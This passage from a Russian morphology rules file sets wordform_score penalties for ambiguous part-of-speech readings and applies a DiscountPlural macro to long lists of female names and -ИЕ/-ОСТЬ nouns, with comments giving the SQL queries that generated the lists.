// гвоздь гвоздя --> гвоздя гвоздя wordform_score "голубя" { деепричастие } = -1 // голубь голубя --> голубя голубя wordform_score "горя" { деепричастие } = -1 // горе горя --> горя горя wordform_score "клея" { деепричастие } = -1 // клей клея --> клея клея wordform_score "неволя" { деепричастие } = -1 // неволя неволя --> неволя неволя wordform_score "отколов" { существительное } = -1 // откол отколов --> отколов отколов wordform_score "переборов" { существительное } = -1 // перебор переборов --> переборов переборов wordform_score "подлив" { существительное } = -1 // подлив подлив --> подлив подлив wordform_score "подрыв" { деепричастие } = -1 // подрыв подрыв --> подрыв подрыв wordform_score "полив" { деепричастие } = -1 // полив полив --> полив полив wordform_score "пошив" { деепричастие } = -1 // пошив пошив --> пошив пошив wordform_score "чая" { деепричастие } = -10 // чай чая --> чая чая wordform_score "струя" { деепричастие } = -1 // струя струя --> струя струя wordform_score "белков" { прилагательное } = -1 // белок белков --> белковый белков wordform_score "витой" { существительное } = -1 // Вита Витой --> витой витой wordform_score "вожатом" { прилагательное } = -1 // вожатый вожатом --> вожатый вожатом wordform_score "вожатым" { прилагательное } = -1 // вожатый вожатым --> вожатый вожатым wordform_score "вожатых" { прилагательное } = -1 // вожатый вожатых --> вожатый вожатых wordform_score "гола" { прилагательное } = -1 // гол гола --> голый гола wordform_score "вороной" { прилагательное } = -1 // ворона вороной --> вороной вороной wordform_score "голы" { прилагательное } = -1 // гол голы --> голый голы wordform_score "гусиной" { существительное } = -1 // Гусина Гусиной --> гусиный гусиной wordform_score "гусиным" { существительное } = -1 // Гусин Гусиным --> гусиный гусиным wordform_score "гусиными" { существительное } = -1 // Гусин Гусиными --> гусиный гусиными wordform_score "добро" { прилагательное } = -1 // добро добро --> добрый добро wordform_score "долги" { прилагательное } = -1 // долг долги --> долгий долги wordform_score "готов" { существительное } = -1 // гот готов --> готовый готов wordform_score "звонки" { прилагательное } = -1 // звонок звонки --> звонкий звонки wordform_score "звонок" { прилагательное } = -1 // звонок звонок --> звонкий звонок wordform_score "лаком" { прилагательное } = -1 // лак лаком --> лакомый лаком wordform_score "лев" { прилагательное } = -1 // лев лев --> левый лев wordform_score "лишаем" { прилагательное } = -1 // лишай лишаем --> лишаемый лишаем wordform_score "сладка" { существительное } = -10 // сладка сладка --> сладкий сладка wordform_score "сладкой" { существительное } = -1 // сладка сладкой --> сладкий сладкой wordform_score "сладкою" { существительное } = -1 // сладка сладкою --> сладкий сладкою wordform_score "сладок" { существительное } = -1 // сладка сладок --> сладкий сладок wordform_score "темен" { существительное } = -1 // темя темен --> темный темен wordform_score "тонной" { прилагательное } = -1 // тонна тонной --> тонный тонной wordform_score "ужат" { существительное } = -1 // ужонок ужат --> ужатый ужат wordform_score "этой" { существительное } = -5 // эта этой --> этот этой wordform_score "рада" { существительное } = -1 // Рада Рада --> рад рада wordform_score "рады" { существительное } = -1 // Рада Рады --> рад рады wordform_score "столиком" { прилагательное } = -1 // столик столиком --> столикий столиком wordform_score "теми" { существительное } = -1 // темь теми --> тот теми wordform_score "тонною" { прилагательное } = -1 // тонна тонною --> тонный тонною wordform_score "ужата" { существительное } = -1 // ужонок ужата --> ужатый ужата wordform_score "эта" { существительное } = -3 // эта эта --> этот эта wordform_score "этою" { существительное } = -1 // эта этою --> этот этою wordform_score "эту" { существительное } = -3 // эта эту --> этот эту // ------------------------ // Для имен и некоторых существительных на -ИЕ варианты множественного числа // обычно не употребляются, поэтому мы можем априори предположить пониженную достоверность. // Этот макрос далее используется для перечисления таких слов. #define DiscountPlural(w) wordform_score w { существительное число:мн } = -2 /* -- список форм получен из SQL словаря запросом: select distinct 'DiscountPlural('+F.name+')' from sg_entry E, sg_link L, sg_entry E2, sg_entry_coord EC, sg_form F, sg_form_coord FC where E.id_class=9 and L.id_entry1=E.id and L.istate=50 and E2.id=L.id_entry2 and E2.name='ИМЯ' and EC.id_entry=E.id and EC.icoord=14 and EC.istate=1 and F.id_entry=E.id and FC.id_entry=E.id and FC.iform=F.iform and FC.icoord=13 and FC.istate=1 */ DiscountPlural(Авдотий) DiscountPlural(Авдотьи) DiscountPlural(Авдотьям) DiscountPlural(Авдотьями) DiscountPlural(Авдотьях) DiscountPlural(Агафий) DiscountPlural(Агафьи) DiscountPlural(Агафьям) DiscountPlural(Агафьями) DiscountPlural(Агафьях) DiscountPlural(Агнии) DiscountPlural(Агний) DiscountPlural(Агниям) DiscountPlural(Агниями) DiscountPlural(Агниях) DiscountPlural(Азалии) DiscountPlural(Азалий) DiscountPlural(Азалиям) DiscountPlural(Азалиями) DiscountPlural(Азалиях) DiscountPlural(Аксиний) DiscountPlural(Аксиньи) DiscountPlural(Аксиньям) DiscountPlural(Аксиньями) DiscountPlural(Аксиньях) DiscountPlural(Амалии) DiscountPlural(Амалий) DiscountPlural(Амалиям) DiscountPlural(Амалиями) DiscountPlural(Амалиях) DiscountPlural(Анастасии) DiscountPlural(Анастасий) DiscountPlural(Анастасиям) DiscountPlural(Анастасиями) DiscountPlural(Анастасиях) DiscountPlural(Анисий) DiscountPlural(Анисьи) DiscountPlural(Анисьям) DiscountPlural(Анисьями) DiscountPlural(Анисьях) DiscountPlural(Аполлинарии) DiscountPlural(Аполлинарий) DiscountPlural(Аполлинариям) DiscountPlural(Аполлинариями) DiscountPlural(Аполлинариях) DiscountPlural(Апраксии) DiscountPlural(Апраксий) DiscountPlural(Апраксиям) DiscountPlural(Апраксиями) DiscountPlural(Апраксиях) DiscountPlural(Валерии) DiscountPlural(Валерий) DiscountPlural(Валериям) DiscountPlural(Валериями) DiscountPlural(Валериях) DiscountPlural(Виктории) DiscountPlural(Викторий) DiscountPlural(Викториям) DiscountPlural(Викториями) DiscountPlural(Викториях) DiscountPlural(Виргинии) DiscountPlural(Виргиний) DiscountPlural(Виргиниям) DiscountPlural(Виргиниями) DiscountPlural(Виргиниях) DiscountPlural(Виталии) DiscountPlural(Виталий) DiscountPlural(Виталиям) DiscountPlural(Виталиями) DiscountPlural(Виталиях) DiscountPlural(Гликерии) DiscountPlural(Гликерий) DiscountPlural(Гликериям) DiscountPlural(Гликериями) DiscountPlural(Гликериях) DiscountPlural(Гортензии) DiscountPlural(Гортензий) DiscountPlural(Гортензиям) DiscountPlural(Гортензиями) DiscountPlural(Гортензиях) DiscountPlural(Дарий) DiscountPlural(Дарьи) DiscountPlural(Дарьям) DiscountPlural(Дарьями) DiscountPlural(Дарьях) DiscountPlural(Денисии) DiscountPlural(Денисий) DiscountPlural(Денисиям) DiscountPlural(Денисиями) DiscountPlural(Денисиях) DiscountPlural(Евгении) DiscountPlural(Евгений) DiscountPlural(Евгениям) DiscountPlural(Евгениями) DiscountPlural(Евгениях) DiscountPlural(Евдокии) DiscountPlural(Евдокий) DiscountPlural(Евдокиям) DiscountPlural(Евдокиями) DiscountPlural(Евдокиях) DiscountPlural(Евдоксии) DiscountPlural(Евдоксий) DiscountPlural(Евдоксиям) DiscountPlural(Евдоксиями) DiscountPlural(Евдоксиях) DiscountPlural(Евлалии) DiscountPlural(Евлалий) DiscountPlural(Евлалиям) DiscountPlural(Евлалиями) DiscountPlural(Евлалиях) DiscountPlural(Евлампии) DiscountPlural(Евлампий) DiscountPlural(Евлампиям) DiscountPlural(Евлампиями) DiscountPlural(Евлампиях) DiscountPlural(Евпраксии) DiscountPlural(Евпраксий) DiscountPlural(Евпраксиям) DiscountPlural(Евпраксиями) DiscountPlural(Евпраксиях) DiscountPlural(Евстолии) DiscountPlural(Евстолий) DiscountPlural(Евстолиям) DiscountPlural(Евстолиями) DiscountPlural(Евстолиях) DiscountPlural(Евфимии) DiscountPlural(Евфимий) DiscountPlural(Евфимиям) DiscountPlural(Евфимиями) DiscountPlural(Евфимиях) DiscountPlural(Евфросинии) DiscountPlural(Евфросиний) DiscountPlural(Евфросиниям) DiscountPlural(Евфросиниями) DiscountPlural(Евфросиниях) DiscountPlural(Епистимии) DiscountPlural(Епистимий) DiscountPlural(Епистимиям) DiscountPlural(Епистимиями) DiscountPlural(Епистимиях) DiscountPlural(Ефимии) DiscountPlural(Ефимий) DiscountPlural(Ефимиям) DiscountPlural(Ефимиями) DiscountPlural(Ефимиях) DiscountPlural(Ефросинии) DiscountPlural(Ефросиний) DiscountPlural(Ефросиниям) DiscountPlural(Ефросиниями) DiscountPlural(Ефросиниях) DiscountPlural(Ефросиньи) DiscountPlural(Ефросиньям) DiscountPlural(Ефросиньями) DiscountPlural(Ефросиньях) DiscountPlural(Зиновии) DiscountPlural(Зиновий) DiscountPlural(Зиновиям) DiscountPlural(Зиновиями) DiscountPlural(Зиновиях) DiscountPlural(Ии) DiscountPlural(Ий) DiscountPlural(Иям) DiscountPlural(Иями) DiscountPlural(Иях) DiscountPlural(Калерии) DiscountPlural(Калерий) DiscountPlural(Калериям) DiscountPlural(Калериями) DiscountPlural(Калериях) DiscountPlural(Клавдии) DiscountPlural(Клавдий) DiscountPlural(Клавдиям) DiscountPlural(Клавдиями) DiscountPlural(Клавдиях) DiscountPlural(Конкордии) DiscountPlural(Конкордий) DiscountPlural(Конкордиям) DiscountPlural(Конкордиями) DiscountPlural(Конкордиях) DiscountPlural(Констанции) DiscountPlural(Констанций) DiscountPlural(Констанциям) DiscountPlural(Констанциями) DiscountPlural(Констанциях) DiscountPlural(Корнелии) DiscountPlural(Корнелий) DiscountPlural(Корнелиям) DiscountPlural(Корнелиями) DiscountPlural(Корнелиях) DiscountPlural(Ксении) DiscountPlural(Ксений) DiscountPlural(Ксениям) DiscountPlural(Ксениями) DiscountPlural(Ксениях) DiscountPlural(Леокадии) DiscountPlural(Леокадий) DiscountPlural(Леокадиям) DiscountPlural(Леокадиями) DiscountPlural(Леокадиях) DiscountPlural(Лидии) DiscountPlural(Лидий) DiscountPlural(Лидиям) DiscountPlural(Лидиями) DiscountPlural(Лидиях) DiscountPlural(Лии) DiscountPlural(Лий) DiscountPlural(Лилии) DiscountPlural(Лилий) DiscountPlural(Лилиям) DiscountPlural(Лилиями) DiscountPlural(Лилиях) DiscountPlural(Лиям) DiscountPlural(Лиями) DiscountPlural(Лиях) DiscountPlural(Лукерий) DiscountPlural(Лукерьи) DiscountPlural(Лукерьям) DiscountPlural(Лукерьями) DiscountPlural(Лукерьях) DiscountPlural(Лукреции) DiscountPlural(Лукреций) DiscountPlural(Лукрециям) DiscountPlural(Лукрециями) DiscountPlural(Лукрециях) DiscountPlural(Малании) DiscountPlural(Маланий) DiscountPlural(Маланиям) DiscountPlural(Маланиями) DiscountPlural(Маланиях) DiscountPlural(Маланьи) DiscountPlural(Маланьям) DiscountPlural(Маланьями) DiscountPlural(Маланьях) DiscountPlural(Марии) DiscountPlural(Марий) DiscountPlural(Мариям) DiscountPlural(Мариями) DiscountPlural(Мариях) DiscountPlural(Марьи) DiscountPlural(Марьям) DiscountPlural(Марьями) DiscountPlural(Марьях) DiscountPlural(матрон) DiscountPlural(матронам) DiscountPlural(матронами) DiscountPlural(матронах) DiscountPlural(матроны) DiscountPlural(Мелании) DiscountPlural(Меланий) DiscountPlural(Меланиям) DiscountPlural(Меланиями) DiscountPlural(Меланиях) DiscountPlural(Настасии) DiscountPlural(Настасий) DiscountPlural(Настасиям) DiscountPlural(Настасиями) DiscountPlural(Настасиях) DiscountPlural(Настасьи) DiscountPlural(Настасьям) DiscountPlural(Настасьями) DiscountPlural(Настасьях) DiscountPlural(Наталии) DiscountPlural(Наталий) DiscountPlural(Наталиям) DiscountPlural(Наталиями) DiscountPlural(Наталиях) DiscountPlural(Натальи) DiscountPlural(Натальям) DiscountPlural(Натальями) DiscountPlural(Натальях) DiscountPlural(Оливии) DiscountPlural(Оливий) DiscountPlural(Оливиям) DiscountPlural(Оливиями) DiscountPlural(Оливиях) DiscountPlural(Олимпии) DiscountPlural(Олимпий) DiscountPlural(Олимпиям) DiscountPlural(Олимпиями) DiscountPlural(Олимпиях) DiscountPlural(Поликсении) DiscountPlural(Поликсений) DiscountPlural(Поликсениям) DiscountPlural(Поликсениями) DiscountPlural(Поликсениях) DiscountPlural(Прасковий) DiscountPlural(Прасковьи) DiscountPlural(Прасковьям) DiscountPlural(Прасковьями) DiscountPlural(Прасковьях) DiscountPlural(Пульхерии) DiscountPlural(Пульхерий) DiscountPlural(Пульхериям) DiscountPlural(Пульхериями) DiscountPlural(Пульхериях) DiscountPlural(Розалии) DiscountPlural(Розалий) DiscountPlural(Розалиям) DiscountPlural(Розалиями) DiscountPlural(Розалиях) DiscountPlural(светкам) DiscountPlural(светками) DiscountPlural(светках) DiscountPlural(светки) DiscountPlural(светок) DiscountPlural(Сильвии) DiscountPlural(Сильвий) DiscountPlural(Сильвиям) DiscountPlural(Сильвиями) DiscountPlural(Сильвиях) DiscountPlural(Соломонии) DiscountPlural(Соломоний) DiscountPlural(Соломониям) DiscountPlural(Соломониями) DiscountPlural(Соломониях) DiscountPlural(Софии) DiscountPlural(Софий) DiscountPlural(Софиям) DiscountPlural(Софиями) DiscountPlural(Софиях) DiscountPlural(Стефании) DiscountPlural(Стефаний) DiscountPlural(Стефаниям) DiscountPlural(Стефаниями) DiscountPlural(Стефаниях) DiscountPlural(Таисии) DiscountPlural(Таисий) DiscountPlural(Таисиям) DiscountPlural(Таисиями) DiscountPlural(Таисиях) DiscountPlural(Таисьи) DiscountPlural(Таисьям) DiscountPlural(Таисьями) DiscountPlural(Таисьях) DiscountPlural(томкам) DiscountPlural(томками) DiscountPlural(томках) DiscountPlural(томки) DiscountPlural(томок) DiscountPlural(Устинии) DiscountPlural(Устиний) DiscountPlural(Устиниям) DiscountPlural(Устиниями) DiscountPlural(Устиниях) DiscountPlural(Устиньи) DiscountPlural(Устиньям) DiscountPlural(Устиньями) DiscountPlural(Устиньях) DiscountPlural(Февронии) DiscountPlural(Февроний) DiscountPlural(Феврониям) DiscountPlural(Феврониями) DiscountPlural(Феврониях) DiscountPlural(Февроньи) DiscountPlural(Февроньям) DiscountPlural(Февроньями) DiscountPlural(Февроньях) DiscountPlural(Федосии) DiscountPlural(Федосий) DiscountPlural(Федосиям) DiscountPlural(Федосиями) DiscountPlural(Федосиях) DiscountPlural(Федосьи) DiscountPlural(Федосьям) DiscountPlural(Федосьями) DiscountPlural(Федосьях) DiscountPlural(Федотии) DiscountPlural(Федотий) DiscountPlural(Федотиям) DiscountPlural(Федотиями) DiscountPlural(Федотиях) DiscountPlural(Федотьи) DiscountPlural(Федотьям) DiscountPlural(Федотьями) DiscountPlural(Федотьях) DiscountPlural(Фелиции) DiscountPlural(Фелиций) DiscountPlural(Фелициям) DiscountPlural(Фелициями) DiscountPlural(Фелициях) DiscountPlural(Феодосии) DiscountPlural(Феодосий) DiscountPlural(Феодосиям) DiscountPlural(Феодосиями) DiscountPlural(Феодосиях) DiscountPlural(Феодотии) DiscountPlural(Феодотий) DiscountPlural(Феодотиям) DiscountPlural(Феодотиями) DiscountPlural(Феодотиях) DiscountPlural(Феофании) DiscountPlural(Феофаний) DiscountPlural(Феофаниям) DiscountPlural(Феофаниями) DiscountPlural(Феофаниях) DiscountPlural(Фетинии) DiscountPlural(Фетиний) DiscountPlural(Фетиниям) DiscountPlural(Фетиниями) DiscountPlural(Фетиниях) DiscountPlural(Фетиньи) DiscountPlural(Фетиньям) DiscountPlural(Фетиньями) DiscountPlural(Фетиньях) DiscountPlural(Хавронии) DiscountPlural(Хавроний) DiscountPlural(Хаврониям) DiscountPlural(Хаврониями) DiscountPlural(Хаврониях) DiscountPlural(Цецилии) DiscountPlural(Цецилий) DiscountPlural(Цецилиям) DiscountPlural(Цецилиями) DiscountPlural(Цецилиях) DiscountPlural(Эмилии) DiscountPlural(Эмилий) DiscountPlural(Эмилиям) DiscountPlural(Эмилиями) DiscountPlural(Эмилиях) DiscountPlural(Юлиании) DiscountPlural(Юлианий) DiscountPlural(Юлианиям) DiscountPlural(Юлианиями) DiscountPlural(Юлианиях) DiscountPlural(Юлии) DiscountPlural(Юлий) DiscountPlural(Юлиям) DiscountPlural(Юлиями) DiscountPlural(Юлиях) /* подавляем формы множ. числа для существительных на -ОСТЬ и -ИЕ список форм получен из SQL словаря запросом: select distinct 'DiscountPlural('+F.name+')' from sg_entry E, sg_form F, sg_form_coord FC, sg_form_coord FC2 where E.id_class=9 and F.id_entry=E.id and FC.id_entry=E.id and FC.iform=F.iform and FC.icoord=13 and FC.istate=1 and FC2.id_entry=E.id and FC2.iform=F.iform and FC2.icoord=24 and FC2.istate in (0,6) and (E.name like '%ИЕ' or E.name like '%ЬЕ' or E.name like '%ОСТЬ') */ DiscountPlural(абсолютизирования) DiscountPlural(абсолютизированья) DiscountPlural(абстрагирования) DiscountPlural(абстрагированья) DiscountPlural(авансирования) DiscountPlural(авансированья) DiscountPlural(авиапредприятия) DiscountPlural(авиапутешествия) DiscountPlural(авиасоединения) //DiscountPlural(автоколебания) //DiscountPlural(автопредприятия) //DiscountPlural(агропредприятия) DiscountPlural(активирования) DiscountPlural(активности) DiscountPlural(акционирования) DiscountPlural(анкетирования) DiscountPlural(аномальности) DiscountPlural(архиглупости) DiscountPlural(ассигнования) //DiscountPlural(ателье) //DiscountPlural(аудиосообщения) DiscountPlural(ауканья) DiscountPlural(аханья) DiscountPlural(бальзамирования) //DiscountPlural(банальности) DiscountPlural(бандподполья) //DiscountPlural(бандформирования) DiscountPlural(барахтания) DiscountPlural(бдения) //DiscountPlural(бедствия) DiscountPlural(бедствования) DiscountPlural(бездарности) DiscountPlural(беззакония) //DiscountPlural(безобразия) DiscountPlural(безумия) DiscountPlural(безумствования) DiscountPlural(беременности) DiscountPlural(бесконечности) DiscountPlural(бескрайности) DiscountPlural(бестактности) DiscountPlural(бесцеремонности) DiscountPlural(бибиканья) //DiscountPlural(биения) DiscountPlural(биоизлучения) DiscountPlural(биоизмерения) DiscountPlural(благовещения) DiscountPlural(благовещенья) DiscountPlural(благоволения) //DiscountPlural(благовония) //DiscountPlural(благовонья) DiscountPlural(благовремения) DiscountPlural(благовременья) DiscountPlural(благоглупости) DiscountPlural(благоговения) DiscountPlural(благоговенья) DiscountPlural(благодарения) DiscountPlural(благодарности) DiscountPlural(благодеяния) DiscountPlural(благодеянья) DiscountPlural(благозвучия) DiscountPlural(благозвучья) DiscountPlural(благолепия) DiscountPlural(благолепья) DiscountPlural(благоприличия) DiscountPlural(благоприличья) DiscountPlural(благородия) DiscountPlural(благородья) DiscountPlural(благословения) DiscountPlural(благословенья) DiscountPlural(благосостояния) DiscountPlural(благосостоянья) DiscountPlural(благости) DiscountPlural(благоухания) DiscountPlural(благоуханья) DiscountPlural(близости) //DiscountPlural(блуждания) //DiscountPlural(блужданья) DiscountPlural(богопочитания) DiscountPlural(богослужения) DiscountPlural(бодания) DiscountPlural(боестолкновения) DiscountPlural(болтания) DiscountPlural(бомбометания) DiscountPlural(бормотания) DiscountPlural(бормотанья) DiscountPlural(боронования) DiscountPlural(боронованья) DiscountPlural(бравирования) DiscountPlural(бравированья) DiscountPlural(бракосочетания) DiscountPlural(бракосочетанья) DiscountPlural(братания) DiscountPlural(братанья) DiscountPlural(брожения) DiscountPlural(броженья) DiscountPlural(бросания) DiscountPlural(брыкания) DiscountPlural(брыканья) DiscountPlural(брюзжания) DiscountPlural(брюзжанья) //DiscountPlural(буквосочетания) DiscountPlural(бурления) DiscountPlural(бурленья) DiscountPlural(бурчания) DiscountPlural(бурчанья) DiscountPlural(бухтения) DiscountPlural(бытописания) DiscountPlural(бытописанья) DiscountPlural(валентности) DiscountPlural(валяния) DiscountPlural(варенья) DiscountPlural(ваяния) DiscountPlural(вбивания) DiscountPlural(вбирания) DiscountPlural(вбрасывания) DiscountPlural(вбухивания) DiscountPlural(вваливания) DiscountPlural(введения) DiscountPlural(ввертывания) DiscountPlural(ввертыванья) DiscountPlural(ввинчивания) DiscountPlural(ввинчиванья) DiscountPlural(вгрызания) DiscountPlural(вдавливания) DiscountPlural(вдевания) DiscountPlural(вдергивания) DiscountPlural(вдохновения) DiscountPlural(вдохновенья) DiscountPlural(вдувания) DiscountPlural(ведомости) DiscountPlural(вежливости) DiscountPlural(везения) DiscountPlural(везенья) DiscountPlural(веления) DiscountPlural(венеротрясения) DiscountPlural(венчания) DiscountPlural(венчанья) //DiscountPlural(верования) DiscountPlural(вероисповедания) //DiscountPlural(вероучения) //DiscountPlural(вероученья) DiscountPlural(вероятности) //DiscountPlural(верховья) //DiscountPlural(ветвления) //DiscountPlural(ветвленья) DiscountPlural(ветшания) DiscountPlural(вечности) DiscountPlural(вещания) //DiscountPlural(веяния) DiscountPlural(вживления) DiscountPlural(взаимовлияния) DiscountPlural(взаимодействия) //DiscountPlural(взаимозависимости) //DiscountPlural(взаимоотношения) DiscountPlural(взаимоположения) DiscountPlural(взаимопревращения) DiscountPlural(взаимопроникновения) DiscountPlural(взбивания) DiscountPlural(взбрыкивания) DiscountPlural(взбухания) DiscountPlural(взвевания) DiscountPlural(взвешивания) DiscountPlural(взвизгивания) DiscountPlural(взвывания) DiscountPlural(взгорья) DiscountPlural(взгромождения) DiscountPlural(вздевания) DiscountPlural(вздрагивания) DiscountPlural(вздувания) DiscountPlural(вздутия) DiscountPlural(вздыбливания) DiscountPlural(вздымания) DiscountPlural(взлаивания) DiscountPlural(взмахивания) DiscountPlural(взмывания) DiscountPlural(взыскания) DiscountPlural(взятия) //DiscountPlural(видения) //DiscountPlural(виденья) DiscountPlural(видеоизображения) DiscountPlural(видеонаблюдения) //DiscountPlural(видеопослания) DiscountPlural(видеоприложения) DiscountPlural(видимости) DiscountPlural(видоизменения) DiscountPlural(визжания) DiscountPlural(визжанья) DiscountPlural(виляния) DiscountPlural(висения) DiscountPlural(вихляния) DiscountPlural(вклинивания) DiscountPlural(включения) DiscountPlural(вкрапления) DiscountPlural(вкручивания) DiscountPlural(вкусности) DiscountPlural(владения) DiscountPlural(влезания) DiscountPlural(влечения) //DiscountPlural(вливания) //DiscountPlural(влияния) //DiscountPlural(вложения) DiscountPlural(влюбленности) DiscountPlural(внедрения) DiscountPlural(внезапности) DiscountPlural(внесения) DiscountPlural(внешности) //DiscountPlural(внутренности) DiscountPlural(внушения) DiscountPlural(водопользования) DiscountPlural(водопользованья) DiscountPlural(водружения) DiscountPlural(вожделения) DiscountPlural(вожделенья) DiscountPlural(возвращения) DiscountPlural(возвышения) DiscountPlural(возвышенности) DiscountPlural(возгорания) DiscountPlural(воздаяния) //DiscountPlural(воздействия) //DiscountPlural(воззвания) //DiscountPlural(воззрения) //DiscountPlural(возлияния) DiscountPlural(возмездия) DiscountPlural(возможности) DiscountPlural(возмущения) DiscountPlural(вознаграждения) //DiscountPlural(возражения) DiscountPlural(волеизъявления) //DiscountPlural(волнения) DiscountPlural(волненья) DiscountPlural(волости) DiscountPlural(вольности) DiscountPlural(вооружения) DiscountPlural(воплощения) DiscountPlural(воплощенья) //DiscountPlural(восклицания) DiscountPlural(воскресения) DiscountPlural(воскресенья) DiscountPlural(воскрешения) DiscountPlural(воспаления) DiscountPlural(воспевания) //DiscountPlural(воспоминания) //DiscountPlural(воспоминанья) DiscountPlural(восприятия) DiscountPlural(воспроизведения) DiscountPlural(восславления) DiscountPlural(воссоединения) //DiscountPlural(восстания) DiscountPlural(восстановления) DiscountPlural(восхваления) DiscountPlural(восхищения) DiscountPlural(восхождения) DiscountPlural(восьмидесятилетия) DiscountPlural(восьмистишия) //DiscountPlural(впечатления) //DiscountPlural(впечатленья) DiscountPlural(впрыскивания) DiscountPlural(времяисчисления) DiscountPlural(вручения) DiscountPlural(вселения) DiscountPlural(вскрикивания) DiscountPlural(вскрытия) DiscountPlural(всплытия) DiscountPlural(вспрыгивания) DiscountPlural(вспухания) DiscountPlural(вспучивания) DiscountPlural(вспушивания) DiscountPlural(вставления) DiscountPlural(встревания) DiscountPlural(встряхивания) DiscountPlural(вступления) DiscountPlural(всучивания) DiscountPlural(всхлипывания) DiscountPlural(всхрапывания) DiscountPlural(всыпания) DiscountPlural(вталкивания) DiscountPlural(втирания) DiscountPlural(вторжения) DiscountPlural(втравливания) DiscountPlural(вульгарности) //DiscountPlural(вхождения) DiscountPlural(выбывания) DiscountPlural(выбытия) DiscountPlural(выведывания) DiscountPlural(выдвижения) DiscountPlural(выделения) DiscountPlural(выделывания) DiscountPlural(выдумывания) DiscountPlural(выздоравливания) DiscountPlural(выискивания) DiscountPlural(выказывания) DiscountPlural(выключения) DiscountPlural(выковывания) DiscountPlural(выкорчевывания) DiscountPlural(выкручивания) DiscountPlural(вылечивания) DiscountPlural(выпадения) DiscountPlural(выпекания) DiscountPlural(выполнения) DiscountPlural(выпрастывания) //DiscountPlural(выпуклости) DiscountPlural(выравнивания) //DiscountPlural(выражения) //DiscountPlural(выраженья) DiscountPlural(высвистывания) DiscountPlural(выселения) DiscountPlural(высечения) //DiscountPlural(высказывания) DiscountPlural(высокоблагородия) DiscountPlural(высокогорья) DiscountPlural(выстуживания) DiscountPlural(выступления) //DiscountPlural(высыпания) DiscountPlural(вычеркивания) //DiscountPlural(вычисления) DiscountPlural(вычитания) DiscountPlural(вычитывания) DiscountPlural(вышагивания) DiscountPlural(вышивания) DiscountPlural(вышучивания) DiscountPlural(выявления) DiscountPlural(выяснения) DiscountPlural(вяканья) DiscountPlural(гадания) //DiscountPlural(гадости) DiscountPlural(гашения) //DiscountPlural(гидросооружения) //DiscountPlural(гиперплоскости) DiscountPlural(гипноизлучения) DiscountPlural(главнокомандования) DiscountPlural(глиссирования) DiscountPlural(глиссированья) DiscountPlural(глумления) DiscountPlural(глумленья) //DiscountPlural(глупости) DiscountPlural(гнездования) DiscountPlural(гнездованья) //DiscountPlural(гнездовья) DiscountPlural(гноения) //DiscountPlural(гнусности) DiscountPlural(говенья) DiscountPlural(головокружения) DiscountPlural(головокруженья) DiscountPlural(голосования) //DiscountPlural(гонения) //DiscountPlural(госпредприятия) DiscountPlural(госсобственности) //DiscountPlural(гостей) //DiscountPlural(гости) //DiscountPlural(госучреждения) DiscountPlural(грехопадения) DiscountPlural(грубости) DiscountPlural(группирования) //DiscountPlural(гуляния) //DiscountPlural(гулянья) DiscountPlural(давления) DiscountPlural(давности) DiscountPlural(дактилоскопирования) DiscountPlural(данности) DiscountPlural(дарения) DiscountPlural(дарования) DiscountPlural(датирования) DiscountPlural(двенадцатилетия) //DiscountPlural(движения) //DiscountPlural(движенья) DiscountPlural(двоеточия) //DiscountPlural(двусмысленности) //DiscountPlural(двустишия) DiscountPlural(двухсотлетия) DiscountPlural(девяностолетия) DiscountPlural(деепричастия) //DiscountPlural(действия) DiscountPlural(деления) DiscountPlural(деликатности) DiscountPlural(демонстрирования) DiscountPlural(дергания) DiscountPlural(дерганья) DiscountPlural(держания) DiscountPlural(дерзания) DiscountPlural(дерзновения) DiscountPlural(дерзости) DiscountPlural(десятиборья) DiscountPlural(десятилетия) //DiscountPlural(деяния) //DiscountPlural(деянья) DiscountPlural(деятельности) // являются высшим критерием и конечной целью профессиональной деятельности госслужащего DiscountPlural(диагностирования) DiscountPlural(дикости) //DiscountPlural(дипотношения) DiscountPlural(добавления) DiscountPlural(добродетельности) //DiscountPlural(доверенности) DiscountPlural(доворачивания) DiscountPlural(договоренности) DiscountPlural(дозволения) DiscountPlural(долечивания) //DiscountPlural(должности) //DiscountPlural(домовладения) DiscountPlural(домоправления) //DiscountPlural(домостроения) DiscountPlural(домоуправления) DiscountPlural(домысливания) DiscountPlural(донесения) DiscountPlural(доперечисления) DiscountPlural(дописывания) //DiscountPlural(дополнения) DiscountPlural(допрашивания) //DiscountPlural(допущения) DiscountPlural(доставания) DiscountPlural(доставления) //DiscountPlural(достижения) DiscountPlural(достоверности) DiscountPlural(достопамятности) DiscountPlural(достояния) //DiscountPlural(досье) DiscountPlural(дотрагивания) DiscountPlural(доукомплектования) //DiscountPlural(драгоценности) //DiscountPlural(древности) //DiscountPlural(дрыганья) DiscountPlural(дудения) //DiscountPlural(дуновения) DiscountPlural(дуракаваляния) DiscountPlural(дурновкусия) DiscountPlural(дурости) DiscountPlural(единообразия) DiscountPlural(еканья) //DiscountPlural(емкости) DiscountPlural(ерзанья) DiscountPlural(жалования) DiscountPlural(жалованья) //DiscountPlural(желания) //DiscountPlural(желанья) DiscountPlural(жертвоприношения) DiscountPlural(жестокости) DiscountPlural(живописания) DiscountPlural(живописанья) //DiscountPlural(жидкости) DiscountPlural(жизнеописания) DiscountPlural(жизнепонимания) //DiscountPlural(жития) DiscountPlural(жонглирования) DiscountPlural(жонглированья) //DiscountPlural(заблуждения) //DiscountPlural(заблужденья) //DiscountPlural(заболевания) //DiscountPlural(заведения) //DiscountPlural(заведенья) //DiscountPlural(заверения) DiscountPlural(завершения) DiscountPlural(завещания) DiscountPlural(завещанья) DiscountPlural(зависания) //DiscountPlural(зависимости) //DiscountPlural(завихрения) //DiscountPlural(завоевания) //DiscountPlural(завывания) //DiscountPlural(завыванья) DiscountPlural(завышения) DiscountPlural(заглавия) DiscountPlural(заглубления) DiscountPlural(заглушения) DiscountPlural(заграждения) DiscountPlural(загромождения) DiscountPlural(загрубения) DiscountPlural(загрязнения) DiscountPlural(загрязненности) DiscountPlural(загустевания) //DiscountPlural(задания) DiscountPlural(задержания) DiscountPlural(задолженности) DiscountPlural(задымления) DiscountPlural(зажатия) DiscountPlural(зажатости) DiscountPlural(зазрения) DiscountPlural(зазывания) DiscountPlural(заигрывания) DiscountPlural(заикания) //DiscountPlural(заимствования) DiscountPlural(закаливания) //DiscountPlural(заклинания) //DiscountPlural(заклинанья) DiscountPlural(заключения) //DiscountPlural(заклятия) //DiscountPlural(заклятья) //DiscountPlural(закономерности) DiscountPlural(законопослушания) DiscountPlural(закрашивания) //DiscountPlural(закругления) //DiscountPlural(закругленности) DiscountPlural(закручивания) DiscountPlural(закрытия) DiscountPlural(заксобрания) DiscountPlural(залегания) DiscountPlural(заледенения) 